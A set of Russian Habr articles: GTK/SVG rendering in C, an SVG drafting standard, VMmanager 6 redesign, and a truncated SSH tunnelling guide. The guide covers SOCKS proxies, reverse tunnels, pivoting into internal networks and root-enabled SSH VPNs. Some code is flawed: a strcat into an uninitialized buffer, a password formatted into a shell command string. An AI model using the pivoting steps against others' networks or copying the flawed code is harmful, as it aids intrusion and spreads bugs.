```
Как видим, здесь есть неприятная особенность — полный путь. То есть стоит переместить папку, как левая часть(которая GtkDrawingArea) перестанет отображаться. Это же касается всех ресурсов, которые не вошли в исполняемый файл. Для этого я написал функцию, которая вычисляет полный путь к запускаемому файлу вне зависимости от способа запуска.
```
//результат экспортируется в data.path
void get_real_path(char *argv0)
{
char* result=(char*)calloc(1024,sizeof(char));
char* cwd=(char*)calloc(1024,sizeof(char));
getcwd(cwd, 1024);
int i=0;
while(argv0[i]!='\0'&&i<1024)
++i;
while(argv0[i]!='/'&&i>0)
--i;
result[i]='\0';
while(i>0)
{
--i;
result[i]=argv0[i];
}
/*alex@alex-System-Product-Name:~/project_manager$ ./manager.elf
argv[0]=./manager.elf
path=/home/alex/project_manager*/
if(strlen(result)<=strlen(cwd)) //путь слишком короткий
{
free(result);
strcpy(data.path,cwd);
strcat(data.path,"/");
//printf("path_cwd=%s\n",cwd);
free(cwd);}
else
{
/*alex@alex-System-Product-Name:/home$ '/home/alex/project_manager/manager.elf'
argv[0]=/home/alex/project_manager/manager.elf
path=/home*/
free(cwd);
strcpy(data.path,result);
strcat(data.path,"/");
//printf("path_result=%s\n",result);
free(result);
}
}
```
В самом коде есть 2 примера того, как можно запустить файл manager.elf. Ещё нужно в начало функции main() поместить
```
char cwd[1024];
getcwd(cwd, sizeof(cwd));
get_real_path(argv[0]);
```
Функция отрисовки примет следующий вид
```
gboolean
drawingarea1_draw_cb (GtkWidget *widget, cairo_t *cr, gpointer user_data)
{
if(!data.svg_handle_svg)
{
char image_path[1024];
strcat(image_path,data.path);
strcat(image_path,"compassmarkings.svg");
printf("image_path=%s\n",image_path);
char* path=get_resized_svg(image_path, 220, 220);
data.svg_handle_svg=rsvg_handle_new_from_file(path,NULL);
resized_svg_free(path);
g_free(path);
}
gboolean result=rsvg_handle_render_cairo(data.svg_handle_svg,cr);
if(result&&cr)
{cairo_stroke(cr);}
else
printf("Ошибка отрисовки\n");
return FALSE;
}
```
**Тесты быстройдействия.**
У нас есть 2 функции отрисовки (GtkDrawingArea и GtkImage).
Каждую из них поместим в конструкцию вида(не забывая подключить )
```
clock_t tic = clock();
clock_t toc = clock();
printf("image1_draw_cb elapsed : %f seconds\n", (double)(toc - tic) / CLOCKS_PER_SEC);
```
И в приложении htop видно, как программа отъедает 20-30% от каждого ядра Athlon 2 X3 2.5 ГГц.
Ошибка нашлась быстро.
```
gboolean
image1_draw_cb (GtkWidget *widget, cairo_t *cr, gpointer user_data)
{
clock_t tic = clock();
if(!data.svg_handle_image)
{
data.svg_handle_image=rsvg_handle_new_from_file("compassmarkings.svg",NULL);
data.surf=cairo_image_surface_create_from_png("2.png");
data.pixbuf=rsvg_handle_get_pixbuf(data.svg_handle_image);
//}
//if(data.pixbuf)
// {
cairo_set_source_surface(cr,data.surf,0,0);
GdkPixbuf *dest=gdk_pixbuf_scale_simple (data.pixbuf,250,250,GDK_INTERP_BILINEAR);
gtk_image_set_from_pixbuf (data.image,dest);
g_object_unref(dest);
//cairo_paint(cr);
}
clock_t toc = clock();
printf("image1_draw_cb elapsed : %f seconds\n", (double)(toc - tic) / CLOCKS_PER_SEC);
return FALSE;
}
```
Как оказалось, GtkImage имеет свою собственную систему рендеринга, а содержимое image1\_draw\_cb можно только 1 раз проинициализировать. Закомментированные строки оказались лишними.
Как видно, первый раз рендеринг идёт дольше у GtkImage, чем у GtkDrawingArea, но теоретически обновление картинки должно быть более быстрым. 4 миллиона процессорных циклов на каждую перерисовку изображения размером 220px\*220px как-то многовато, а закешировать можно только через pixbuf (как минимум, мне другие способы не известны).
Спасибо за внимание. | https://habr.com/ru/post/435564/ | null | ru | null |
# Чертежи в SVG формате. Часть 4. — Черновик стандарта
В "[Чертежи в SVG формате. Часть 3 — Черновик стандарта](http://habrahabr.ru/post/185294/) " приведён пример заштриховывания областей и примеры шаблонов штриховки разных материалов из CAD систем. В продолжении рассмотрим рисование размеров.
**Рисование размеров.**
Все элементы размера мы объединяем в блок.
```
325
```
Для рисования стрелок, засечек и точек используем тег **marker** и создаём их шаблоны:
**код шаблонов в SVG формате**
```
```
В примере выше стрелки размера внутри, для рисования снаружи мы меняем значения свойств *marker-start* и *marker-end* между собой.
При первом способе необходимо для каждого масштаба создавать свой шаблон стрелок.
Второй вариант кода размера выглядит так:
**код шаблонов в SVG формате вариант 2**
```
```
Код шаблона от первого варианта отличается изменёнными значениями свойств *markerWidth* и *markerHeight*. Значение их подобрано для рисования в масштабе 1:1.
Второй вариант кода размера
```
120
```
Значения свойства *stroke-width* задаём по правилам рисования точки (маркера).
Смотри статью [Чертежи в SVG формате. Часть 2 — Черновик стандарта (обновляется)](http://habrahabr.ru/post/185268/)
Пример диаметрального размера с выносной полкой
```
∅220
```
**Текст.**
В браузерах сейчас не все возможности реализованы для форматирования текста. Текст выводим тегом **text**. Также используем вставки с тегом **tspan** для фрагментов текста с своими свойствами (смотри предыдущий пример кода).
Значение свойства *font-size* 28 условных единиц соответствует размеру шрифта на чертеже в 5мм для масштаба вида 1:4.
[Демонстрационный пример чертежа с внешним файлом CSS](http://v.sytnik.lviv.ua/test/test.php)
[Обновляемая версия статьи](http://v.sytnik.lviv.ua/node/13) | https://habr.com/ru/post/185496/ | null | ru | null |
# Разработка новой ветки продукта: как избавиться от непрактичного и сохранить полезное
Привет, Хабр! Меня зовут Дмитрий, я разработчик в ISPsystem. Недавно мы выпустили в бета-тестирование новую версию панели управления виртуальными машинами. Сегодня я расскажу, как мы решали, что взять из старого продукта, а от чего лучше отказаться. Пройдусь по самым важным для нас вопросам: библиотека для работы с libvirt, поддержка различных ОС при установке продукта, переход от монолита к микросервисам, развёртывание виртуальных машин.
В статье речь идёт о [VMmanager](https://www.ispsystem.ru/software/vmmanager). Это система управления, развёртывания и мониторинга виртуальных машин на основе виртуализации KVM и OVZ. Пятое поколение вышло в 2012 году. С тех пор интерфейс сильно устарел, а централизованная архитектура мешала развивать продукт. Пришло время делать новую версию.
История первая. Используем труд домовых эльфов
Работа с libvirt: рассматриваем варианты, выбираем библиотеки
------------------------------------------------------------------------------------------------------------
Как инструмент управления KVM-виртуализацией в нашем продукте используется libvirt. В 2012 году для работы с ним была выбрана библиотека, написанная на C, так было удобнее для той команды разработки. Как результат — большой объем кода, написанный на C++, вызывающий С-библиотеку, которая реализует непосредственную работу с libvirt.
И вот мы на пороге нового проекта оглядываемся назад и осматриваем наш продукт, взвешиваем, стоит ли брать то или иное решение/технологию; что зарекомендовало себя, а что нужно запомнить и никогда не повторять.
Садимся и делаем ретроспективу многолетней работы над предыдущей версией продукта. Запасаемся терпением, берём стикеры и пишем три вида бумажек:
1. Что удалось в продукте? Что хвалили пользователи? На что ни разу не слышали жалоб? Что нравилось самим?
2. Что не удалось? С чем постоянно были проблемы? Что мешало работе, и почему начали новую ветку?
3. Что можно изменить? Что просят пользователи? Что хотят изменить члены команды?
В группе людей, рьяно портящих бумагу, должны быть как те, чьё тесное общение с продуктом исчисляется столетиями, так и те, у кого может быть свежий взгляд на продукт. Не забываем Feature Request и продукт-менеджера. Готовые стикеры клеим на доску, они нам обязательно помогут.
Вернёмся к истории. Осматриваем кусок кода, где C++ 98 стандарта мирно соседствует с вызовами С-библиотеки. Вспоминаем, что на дворе 2018 год и решаем оставить его в покое. Но как повторить функциональность работы с виртуальными машинами (ВМ), сделав код более компактным и удобным для работы?
Изучаем вопрос, понимаем, что какое бы решение и на каком языке мы ни выбрали, это будет обёртка над C-библиотекой. Как интересный вариант стоит отметить [библиотеку на Go от DigitalOcean](https://github.com/digitalocean/go-libvirt), она использует протокол RPC для общения с libvirt напрямую, но у неё есть свои недостатки. Мы остановились на [Python-библиотеке](https://github.com/libvirt/libvirt-python).
В результате получили скорость написания кода, простоту использования и чтения. Стоит пояснить эти красивые слова.
* **Скорость**. Теперь мы можем быстро прототипировать определённую часть работы с доменом прямо из консоли на отладочном сервере, без пересборки основного приложения.
* **Простота**. Вместо вызова множества C++ методов в неком хендлере, мы имеем вызов Python-скрипта с передачей параметров.
* **Отладка** также максимально быстра и безболезненна. На мой взгляд, в перспективе это может нести интересный пользовательский опыт. Представьте, системный администратор, недовольный, что его виртуальные машины ждут shutdown перед destroy, идёт и переопределяет скрипт для метода host\_stop. ~~Может мне за вас еще и панель писать?~~
Как итог, мы получили простой и удобный инструмент для работы с виртуальными машинами на уровне сервера.
История вторая. Хорошо упакованный продукт в дополнительных ласках не нуждается
Распространение продукта: отказываемся от множества пакетов и переходим на Docker
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
VMmanager 5 распространяется как набор linux-пакетов. Поддерживаются CentOS 6/7 и до недавнего времени Debian 7. О чём это говорит? Это значит, больше сборочных серверов для CI/CD, больше тестирования, больше внимания к коду. Надо помнить, что когда в официальном репозитории CentOS 7 qemu версии 1.5.3, в CentOS 6 — это 0.12.1. При этом пользователь может использовать репозитории, в которых версия этого пакета значительно выше. Это значит, надо поддерживать различные версии api при работе с ВМ, в частности, при миграции. Надо помнить про разницу инициализаторов (init, systemd), учитывать разницу в названиях пакетов и утилит. Те утилиты, которые работают в CentOS, не сработают в Debian либо их версии в официальных репозиториях сильно разнятся. На каждый push нужно собрать пакеты для всех версий, и протестировать их тоже желательно не забыть.
Всё это в новом продукте нас не устраивает. Чтобы не поддерживать различную логику, отказываемся от нескольких систем и оставляем только CentOS 7. Проблема решена? Не совсем.
Мы также не хотим перед установкой проверять версию операционной системы, доступны ли необходимые утилиты, какие правила установлены в SELinux, не хотим переконфигурировать файервол и списки репозиториев. Хочется раз — и всё, по щелчку ~~уничтожить каждого второго~~ развернуть всё окружение и сам продукт. Сказано — сделано, проект завёрнут в докер-контейнер.
Теперь достаточно сделать:
```
# docker pull vmmanager
# docker run -d vmmanager:latest
```
Панель запущена и готова к работе.
Конечно, я утрирую, пользователь должен установить себе Docker, да и контейнер у нас не один, и в настоящее время VMmanager запускается в swarm-режиме как SaaS-сервис. О том, с чем мы столкнулись, выбрав Docker, и как это решали, можно написать отдельную статью.
Важен сам факт, насколько можно упростить разработку, а главное — развёртывание вашего продукта, install.sh которого некогда занимал [2097 строк](http://download.ispsystem.com/install.5.sh).
Как итог:
1. Гомогенная среда установки продукта упрощает программный код, уменьшает затраты на сборку и тестирование.
2. Распространение приложения как докер-контейнера делает развёртывание простым и предсказуемым.
История третья. Первые отношения с микросервисами
Архитектура: отказываемся от монолита в пользу микросервисов, или нет
-----------------------------------------------------------------------------------------------------------------------
Пятая версия продукта представляет собой большую монолитную систему с устаревшим стандартом С++. Как следствие — проблемное внедрение новых технологий и сложность рефакторинга legacy-кода, плохое горизонтальное масштабирование. В новой ветке решили использовать микросервисный подход как один из способов избежать подобных проблем.
Микросервисы — это современный тренд, у которого хватает как плюсов, так и минусов. Постараюсь изложить своё видение сильных сторон этой архитектуры и расскажу о решении проблем, которые она привносит в проект. Стоит отметить, что это будет первый взгляд на микросервисную архитектуру на практике со стороны обычного разработчика. Аспекты, о которых я, вероятно, не упомяну, раскрывает [хорошая обзорная статья](https://habr.com/ru/company/raiffeisenbank/blog/346380/).
### Положительные стороны
**Небольшой сервис даёт много возможностей**
Помимо удобства написания, тестирования и отладки, микросервисы привнесли в проект новый язык программирования. Когда ваш проект представляет собой монолит, сложно представить, что в один прекрасный день вы попробуете переписать его часть на другом интересном вам языке. В микросервисной архитектуре — пожалуйста. Помимо языка программирования, вы также можете попробовать новые технологии, с той лишь оговоркой, что всё это будет обоснованным для бизнеса. Мы, например, написали часть микросервисов на Golang, сэкономив при этом порядочное количество времени.
**Масштабирование команд**
Мы можем разделить множество людей, которые раньше комитили в один репозиторий и старались удержать в голове структуру монолита, на несколько команд. Каждая команда будет заниматься своим сервисом. Кроме того, вхождение нового человека в работу происходит намного проще и быстрее, благодаря ограниченному контексту, в котором ему предстоит работать. С другой стороны, людей-агрегаторов всемирных знаний, у которых всегда можно узнать про любой аспект огромной системы, становится меньше. Возможно, со временем я пересмотрю своё отношение к этому пункту.
**Независимая деградация**
Независимую деградацию я бы отнёс и к положительным и к отрицательным сторонам микросервисов, ведь кому нужно ваше приложение, если лежит, к примеру, сервис авторизации? При этом это всё-таки положительная сторона. Раньше сбор статистики с нескольких сотен виртуальных машин заставлял хорошенько напрягаться наш монолит, в момент пиковой нагрузки ожидание выполнения запроса пользователя возрастало в разы. Отдельный сервис сбора статистики может собирать её, не затрагивая остальные сервисы, при этом его ещё можно масштабировать, добавив нового железа или увеличив количество сборщиков той самой статистики. И можем даже выделить отдельный сервер под Graphite, куда этот сервис статистику и записывает. С монолитом, где одна база, такое невозможно.
### Отрицательные стороны
**Контекст запроса**
Весь мой debugging в монолите сводился к двум запросам в консоли:
```
# tail -n 460 var/vmmgr.log | grep ERR
# tail -n 460 var/vmmgr.log | grep thread_id_with_err
```
Готово! Я могу отследить весь запрос, от его поступления в систему до возникновения ошибки.
Но как же быть теперь, когда запрос путешествует из микросервиса в микросервис, сопровождаясь дополнительными вызовами соседних сервисов и записями в различные БД? Для этого мы реализовали request info, которое содержит идентификатор запроса и информацию о пользователе или сервисе, который его произвёл. Так становится проще отследить всю цепочку событий, но приходит желание написать сервис агрегации логов, у нас ведь, в конце концов, микросервисная архитектура. Можно также посмотреть в сторону Elasticsearch, этот вопрос открыт и будет решён в скором времени.
**Несогласованность данных**
Данные в микросервисах децентрализованы, нет единой базы, в которой хранится вся информация. Обдумывая эту статью, я перебирал в уме основные взаимодействия между микросервисами — где мы можем получить дубли, где используем межсетевые транзакции — и понял, что проблему несогласованности мы решили монолитом.
Мы действительно построили монолит с одной основной базой, завернув в него большую часть транзактивных действий. А вокруг монолита собрали все микросервисы, которые не влияют на консистентность основных данных. Исключение составляет связка сервис авторизации + монолит. Проблема в данном случае состоит в том, что база основного приложения не содержит пользователей как таковых, их ролей и дополнительных параметров, всё это находится в сервисе авторизации.
Пользователь системы может работать с виртуальными машинами в монолите, при этом в сервисе авторизации у него могут измениться права, или его вовсе заблокируют. Система должна на это своевременно среагировать. В этой ситуации консистентность данных достигается проверкой пользовательских параметров перед выполнением любого запроса.
Что касается остальных микросервисов, невозможность зарегистрироваться в сервисе статистики никак не влияет на работу виртуальной машины, и это действие всегда можно повторить. Отлично, делаем микросервис сбора статистики. А вот сервис define domain (создание виртуальной машины посредством libvirt) свет так и не увидит, так как кому нужна болванка машины без её фактического существования.
История четвертая. Свежее — враг хорошего
Развёртывание ВМ: установка из образов взамен установки по сети
---------------------------------------------------------------------------------------------------------
В пятой версии продукта развёртывание виртуальной машины занимает довольно продолжительное время по настоящим меркам. Причиной этому служит установка операционной системы по сети.
Для Centos, Fedora, RedHat — это [kickstart-метод](https://en.wikipedia.org/wiki/Kickstart_(Linux)):
1. Создаём kickstart-файл.
2. Указываем ссылку на файл ответов в параметрах ядра linux inst.ks=<ссылка на файл kickstart>.
3. Запускаем kickstart-установку.
Kickstart-файл довольно гибок, в нём вы можете описать все шаги установки, начиная от её метода и выставления часового пояса, заканчивая разбивкой диска и настройкой сети. Параметр url в наших шаблонах указывает на то, что установка происходит с удалённого сервера.
Для Debian и Ubuntu — метод [preseed](https://en.wikipedia.org/wiki/Preseed):
Он схож с предыдущим, этот метод также построен вокруг конфигурационного файла и его содержимого. В нём мы тоже настроили установку по сети.
Аналогична и установка для FreeBSD, только вместо kickstart-файла — shell-скрипт собственного производства.
### Положительные стороны подхода
Данный вариант установки позволяет использовать один шаблон в двух наших продуктах: VMmanager и [DCImanager](https://www.ispsystem.ru/software/dcimanager) (управление выделенными серверами).
Развертывание виртуальных машин является довольно гибким, администратор панели может просто скопировать шаблон операционной системы и изменить конфигурационный файл по своему усмотрению.
Все пользователи всегда имеют актуальные версии операционных систем, если они своевременно обновляются на удаленном сервере.
### Отрицательные стороны
Как показала практика, гибкость установки оказалась не нужна пользователям VMmanager: в сравнении с выделенными серверами, специфические настройки kickstart-файла для виртуальных машин мало кого волновали. А вот ожидание установки ОС было действительно непозволительной роскошью. Обратная сторона актуальности операционных систем состоит в том, что часть инсталлятора находится в сети, а часть — локально в [initrd](https://ru.wikipedia.org/wiki/Initrd). И их версии должны совпадать.
Это решаемые проблемы. Можно создать пул установленных машин и завести собственный репозиторий для операционных систем, но это влечёт дополнительные расходы.
Как решить эти проблемы, не создавая репозиториев и пулов? Мы выбрали файлы образов операционных систем. Теперь процесс установки выглядит так:
1. Копирование образа ОС в диск виртуальной машины.
2. Увеличение основного раздела образа на размер свободного места после копирования.
3. Базовая настройка (установка пароля, часового пояса и т.д.).
Всё новое — это хорошо забытое старое. Образы ОС мы использовали в VDSmanager-Linux — прародителе VMmanager.
А как же гибкость установки? Практика показала, что большинство пользователей не интересуют специфичные настройки сети и разбивки дисков на виртуальных машинах.
А актуальность данных? Её можно достичь наличием образов с актуальными версиями ОС в репозитории, а минорные обновления можно установить в скрипте первоначальной настройки. Таким образом, виртуальная машина будет уже создана и запущена, а зайдя на нее, вы обнаружите запущенным условный yum update.
Взамен мы получаем готовую виртуальную машину, развёртывание которой зависит только от копирования диска, увеличения раздела диска и запуска операционной системы. Реализация данного подхода работы с машинами даёт нам возможность создавать собственные образы и делиться ими. Пользователь может установить на виртуальной машине связку [LAMP](https://en.wikipedia.org/wiki/LAMP_(software_bundle)) или какое-либо сложное окружение, затем сделать образ этой машины. Теперь другим людям не придется тратить время на установку необходимых утилит.
Конфигурацию и изменение разделов мы реализовали с помощью утилит из набора [libguestfs](http://libguestfs.org/). К примеру, смена пароля на linux-машине превратилась из 40 строк кода, состоящих из mount, chroot и usermod, в одну строку:
```
command = "/usr/bin/virt-customize --root-password password:{password} --domain '{domain_name}'".format(password=args.password, domain_name=args.domain_name)
```
В результате мы сделали получение готовой виртуальной машины максимально быстрым. Стоит сделать ремарку, что с настройкой сети и установкой внутренних скриптов время развёртывания немного увеличилось. Мы решили этот вопрос отображением шагов установки на фронтенде, заполнив таким образом паузу, образовавшуюся между созданием и полной готовностью машины.
Мы также получили более гибкий подход к развертыванию виртуальных машин, на основе которого удобно создавать собственные образы с необходимым окружением.
Что удалось сделать
-------------------
В шестой версии продукта мы постарались учесть основной недостаток пятой: сложность общения пользователя с продуктом. Мы сократили время выполнения ключевых действий. В совокупности с неблокирующим интерфейсом это даёт возможность работать с панелью без вынужденного ожидания. Контейнеризация сделала процесс установки продукта более простым и удобным. Использование современных технологий и различных языков программирования упростило поддержку и сопровождение как программистам, так и специалистам технической поддержки. Переход на микросервисы позволил добавлять новые фичи быстро и с незначительными ограничениями.
В заключение хочу сказать, что новый продукт — хорошая возможность попробовать другие подходы к разработке, новые технологии. При этом стоит помнить, для чего вы это делаете, что нового это принесет вам и вашим пользователям. Дерзайте!
> Приглашаем сообщество Хабра посмотреть бета-версию VMmanager 6 и оставить свои отзывы. Для этого перейдите на [my.saasvm.com](https://my.saasvm.com/), авторизуйтесь и подключите выделенный сервер (CentOS 7 x64, доступ в интернет, публичный IP-адрес).
>
>
>
> Если у вас нет сервера, напишите нам на [help@ispsystem.com](mailto:help@ispsystem.com) или в чат [на сайте](https://www.ispsystem.ru/), мы предоставим оборудование для тестирования от нашего партнёра, компании Selectel.
>
>
>
> Подробнее читайте [в новости на сайте ISPsystem](https://www.ispsystem.ru/news/vmmanager-six).
>
> | https://habr.com/ru/post/441968/ | null | ru | null |
# Практические советы, примеры и туннели SSH
Практические примеры [SSH](https://en.wikipedia.org/wiki/Secure_Shell), которые выведут на новый уровень ваши навыки удалённого системного администратора. Команды и советы помогут не только использовать `SSH`, но и более грамотно перемещаться по сети.
Знание нескольких трюков `ssh` полезно любому системному администратору, сетевому инженеру или специалисту по безопасности.
### Практические примеры SSH
1. [SSH socks-прокси](#1)
2. [Туннель SSH (переадресация портов)](#2)
3. [SSH-туннель на третий хост](#3)
4. [Обратный SSH-туннель](#4)
5. [Обратный прокси SSH](#5)
6. [Установка VPN по SSH](#6)
7. [Копирование ключа SSH (ssh-copy-id)](#7)
8. [Удалённое выполнение команд (неинтерактивно)](#8)
9. [Удалённый перехват пакетов и просмотр в Wireshark](#9)
10. [Копирование локальной папки на удалённый сервер по SSH](#10)
11. [Удалённые приложения GUI с переадресацией SSH X11](#11)
12. [Удалённое копирование файлов с помощью rsync и SSH](#12)
13. [SSH через сеть Tor](#13)
14. [SSH к инстансу EC2](#14)
15. [Редактирование текстовых файлов с помощью VIM через ssh/scp](#15)
16. [Монтирование удалённого SSH как локальной папки с SSHFS](#16)
17. [Мультиплексирование SSH с помощью ControlPath](#17)
18. [Потоковое видео по SSH с помощью VLC и SFTP](#18)
19. [Двухфакторная аутентификация](#19)
20. [Прыжки по хостам с SSH и -J](#20)
21. [Блокировка попыток брутфорса SSH с помощью iptables](#21)
22. [SSH Escape для изменения переадресации портов](#22)
Сначала основы
==============
#### Разбор командной строки SSH
В следующем примере используются обычные параметры, часто встречающиеся при подключении к удалённому серверу `SSH`.
```
localhost:~$ ssh -v -p 22 -C neo@remoteserver
```
* `-v`: вывод отладочной информации особенно полезен при анализе проблем аутентификации. Можно использовать несколько раз для вывода дополнительной информации.
* `- p 22`: **порт для подключения** к удалённому серверу SSH. 22 не обязательно указывать, потому что это значение по умолчанию, но если протокол на каком-то другом порту, то указываем его с помощью параметра `-p`. Порт прослушивания указывается в файле `sshd_config` в формате `Port 2222`.
* `-C`: сжатие для соединения. Если у вас медленный канал или вы просматриваете много текста, это может ускорить связь.
* `neo@`: строка перед символом @ обозначает имя пользователя для аутентификации на удалённом сервере. Если не указать его, то по умолчанию будет использоваться имя пользователя учётной записи, в которую вы вошли в данный момент (~$ whoami). Пользователя также можно указать параметром `-l`.
* `remoteserver`: имя хоста, к которому подключается `ssh`, это может быть полное доменное имя, IP-адрес или любой хост в локальном файле hosts. Для подключения к хосту, который поддерживает и IPv4, и IPv6, можно добавить в командную строку параметр `-4` или `-6` для правильного резолвинга.
Все вышеперечисленные параметры являются необязательными, кроме `remoteserver`.
#### Использование файла конфигурации
Хотя многие знакомы с файлом `sshd_config`, есть ещё файл конфигурации клиента для команды `ssh`. Значение по умолчанию `~/.ssh/config`, но его можно определить как параметр для опции `-F`.
```
Host *
Port 2222
Host remoteserver
HostName remoteserver.thematrix.io
User neo
Port 2112
IdentityFile /home/test/.ssh/remoteserver.private_key
```
В приведённом выше примерном файле конфигурации ssh две записи хоста. Первая обозначает все хосты, для всех применяется параметр конфигурации Port 2222. Вторая говорит, что для хоста **remoteserver** следует использовать другое имя пользователя, порт, FQDN и IdentityFile.
Файл конфигурации может сэкономить много времени на ввод символов, позволяя автоматически применять продвинутую конфигурацию при подключении к конкретным хостам.
#### Копирование файлов по SSH с помощью SCP
SSH-клиент поставляется с двумя другими очень удобными инструментами для копирования файлов по **зашифрованному ssh-соединению**. Ниже см. пример стандартного использования команд scp и sftp. Обратите внимание, что многие параметры для ssh применяются и в этих командах.
```
localhost:~$ scp mypic.png neo@remoteserver:/media/data/mypic_2.png
```
В этом примере файл **mypic.png** скопирован на **remoteserver** в папку **/media/data** и переименован в **mypic\_2.png**.
Не забывайте о разнице в параметре порта. На этом попадаются многие, кто запускает `scp` из командной строки. Здесь параметр порта `-P`, а не `-p`, как в ssh-клиенте! Вы забудете, но не волнуйтесь, все забывают.
Для тех, кто знаком с консольным `ftp`, многие из команд похожи в `sftp`. Вы можете сделать **push**, **put** и **ls**, как сердце пожелает.
```
sftp neo@remoteserver
```
Практические примеры
====================
Во многих из этих примеров можно достичь результата разными методами. Как и во всех наших [учебниках](https://hackertarget.com/research/#tutorial) и примерах, предпочтение отдаётся практическим примерам, которые просто делают своё дело.
### 1. SSH socks-прокси
Функция SSH Proxy под номером 1 по уважительной причине. Она более мощная, чем многие предполагают, и даёт вам доступ к любой системе, к которой имеет доступ удалённый сервер, используя практически любое приложение. Клиент ssh может туннелировать трафик через прокси-сервер SOCKS одной простой командой. Важно понимать, что трафик к удалённым системам будет исходить от удалённого сервера, так будет указано в логах веб-сервера.
```
localhost:~$ ssh -D 8888 user@remoteserver
localhost:~$ netstat -pan | grep 8888
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN 23880/ssh
```
Здесь мы запускаем socks-прокси на TCP-порту 8888, вторая команда проверяет, что порт активен в режиме прослушивания. 127.0.0.1 указывает, что служба работает только на localhost. Мы можем применить немного другую команду для прослушивания всех интерфейсов, включая ethernet или wifi, это позволит другим приложениям (браузерам и т д.) в нашей сети подключаться к прокси-сервису через ssh socks-прокси.
```
localhost:~$ ssh -D 0.0.0.0:8888 user@remoteserver
```
Теперь можем настроить браузер для подключения к socks-прокси. В Firefox выберите **Настройки | Основные | Параметры сети**. Укажите IP-адрес и порт для подключения.
Обратите внимание на опцию в нижней части формы, чтобы DNS-запросы браузера тоже шли через прокси SOCKS. Если используете прокси-сервер для шифрования веб-трафика в локальной сети, то наверняка захотите выбрать эту опцию, чтобы DNS-запросы туннелировались через SSH-соединение.
#### Активация socks-прокси в Chrome
Запуск Chrome с определёнными параметрами командной строки активирует socks-прокси, а также туннелирование DNS-запросов из браузера. Доверяй, но проверяй. Используйте [tcpdump](https://hackertarget.com/tcpdump-examples/) для проверки, что DNS-запросы больше не видны.
```
localhost:~$ google-chrome --proxy-server="socks5://192.168.1.10:8888"
```
#### Использование других приложений с прокси
Имейте в виду, что многие другие приложения тоже могут использовать socks-прокси. Веб-браузер просто самое популярное из них. У некоторых приложений есть параметры конфигурации для активации прокси-сервера. Другим нужно немного помочь вспомогательной программой. Например, [proxychains](https://github.com/haad/proxychains) позволяет запустить через socks-прокси Microsoft RDP и др.
```
localhost:~$ proxychains rdesktop $RemoteWindowsServer
```
Параметры конфигурации socks-прокси задаются в файле конфигурации proxychains.
> Подсказка: если используете удалённый рабочий стол из Linux на Windows? Попробуйте клиент [FreeRDP](https://github.com/FreeRDP/FreeRDP). Это более современная реализация, чем `rdesktop`, с гораздо более плавным взаимодействием.
#### Вариант использования SSH через socks-прокси
Вы сидите в кафе или гостинице — и вынуждены использовать довольно ненадёжный WiFi. С ноутбука локально запускаем ssh-прокси и устанавливаем ssh-туннель в домашнюю сеть на локальный Rasberry Pi. Используя браузер или другие приложения, настроенные для socks-прокси, мы можем получить доступ к любым сетевым службам в нашей домашней сети или выйти в интернет через домашнее подключение. Всё между вашим ноутбуком и домашним сервером (через Wi-Fi и интернет до дома) зашифровано в туннеле SSH.
### 2. Туннель SSH (переадресация портов)
В простейшей форме SSH-туннель просто открывает порт в вашей локальной системе, который подключается к другому порту на другом конце туннеля.
```
localhost:~$ ssh -L 9999:127.0.0.1:80 user@remoteserver
```
Разберём параметр `-L`. Его можно представить как локальную сторону прослушивания. Таким образом, в примере выше порт 9999 прослушивается на стороне localhost и переадресуется через порт 80 на remoteserver. Обратите внимание, что 127.0.0.1 относится к localhost на удалённом сервере!
Поднимемся на ступеньку. В следующем примере порты прослушивания связываются с другими узлами локальной сети.
```
localhost:~$ ssh -L 0.0.0.0:9999:127.0.0.1:80 user@remoteserver
```
В этих примерах мы подключаемся к порту на веб-сервере, но это может быть прокси-сервер или любая другая служба TCP.
### 3. SSH-туннель на сторонний хост
Мы можем использовать те же параметры для подключения туннеля с удалённого сервера к другой службе, запущенной на третьей системе.
```
localhost:~$ ssh -L 0.0.0.0:9999:10.10.10.10:80 user@remoteserver
```
В данном примере мы перенаправляем туннель от remoteserver к веб-серверу, работающему на 10.10.10.10. Трафик с remoteserver к 10.10.10.10 **уже не в SSH-туннеле**. Веб-сервер на 10.10.10.10 будет считать remoteserver источником веб-запросов.
### 4. Обратный SSH-туннель
Здесь настроим прослушивающий порт на удалённом сервере, который будет подключаться обратно к локальному порту на нашем localhost (или другой системе).
```
localhost:~$ ssh -v -R 0.0.0.0:1999:127.0.0.1:902 192.168.1.100 user@remoteserver
```
В этой SSH-сессии устанавливается соединение с порта 1999 на remoteserver к порту 902 на нашем локальном клиенте.
### 5. Обратный прокси SSH
В этом случае мы устанавливаем socks-прокси на нашем ssh-соединении, однако прокси слушает на удалённом конце сервера. Подключения к этому удалённому прокси теперь появляются из туннеля как трафик с нашего localhost.
```
localhost:~$ ssh -v -R 0.0.0.0:1999 192.168.1.100 user@remoteserver
```
#### Устранение проблем с удалёнными SSH-туннелями
Если у вас возникли проблемы с работой удалённых опций SSH, проверьте с помощью `netstat`, к каким ещё интерфейсам подключён порт прослушивания. Хотя мы в примерах указали 0.0.0.0, но если значение **GatewayPorts** в **sshd\_config** установлено в значение **no**, то листенер будет привязан только к localhost (127.0.0.1).
> #### Предупреждение безопасности
>
>
>
> Обратите внимание, что при открытии туннелей и socks-прокси внутренние сетевые ресурсы могут быть доступны ненадёжным сетям (например, интернету!). Это может быть серьёзной угрозой безопасности, поэтому убедитесь, что вы понимаете, что представляет собой слушатель и к чему у него есть доступ.
### 6. Установка VPN по SSH
Общий термин среди спецов по методам атаки (пентестеры и проч.) — это «точка опоры в сети». После установления соединения в одной системе эта система становится шлюзом для дальнейшего доступа к сети. Точка опоры, которая позволяет двигаться вширь.
Для такой точки опоры мы можем использовать SSH-прокси и **proxychains**, однако есть некоторые ограничения. Например, не получится работать напрямую с сокетами, поэтому мы не сможем сканировать порты внутри сети через [Nmap](https://hackertarget.com/nmap-online-port-scanner/) `SYN`.
Используя этот более продвинутый вариант VPN, подключение снижается до **уровня 3**. Затем мы можем просто направить трафик через туннель, используя стандартную сетевую маршрутизацию.
Метод использует `ssh`, `iptables`, `tun interfaces` и маршрутизацию.
Сначала нужно задать эти параметры в `sshd_config`. Поскольку мы вносим изменения в интерфейсы и удалённой, и клиентской системы, нам **нужны права root с обеих сторон**.
```
PermitRootLogin yes
PermitTunnel yes
```
Затем установим ssh-соединение, используя параметр, который запрашивает инициализацию tun-устройств.
```
localhost:~# ssh -v -w any root@remoteserver
```
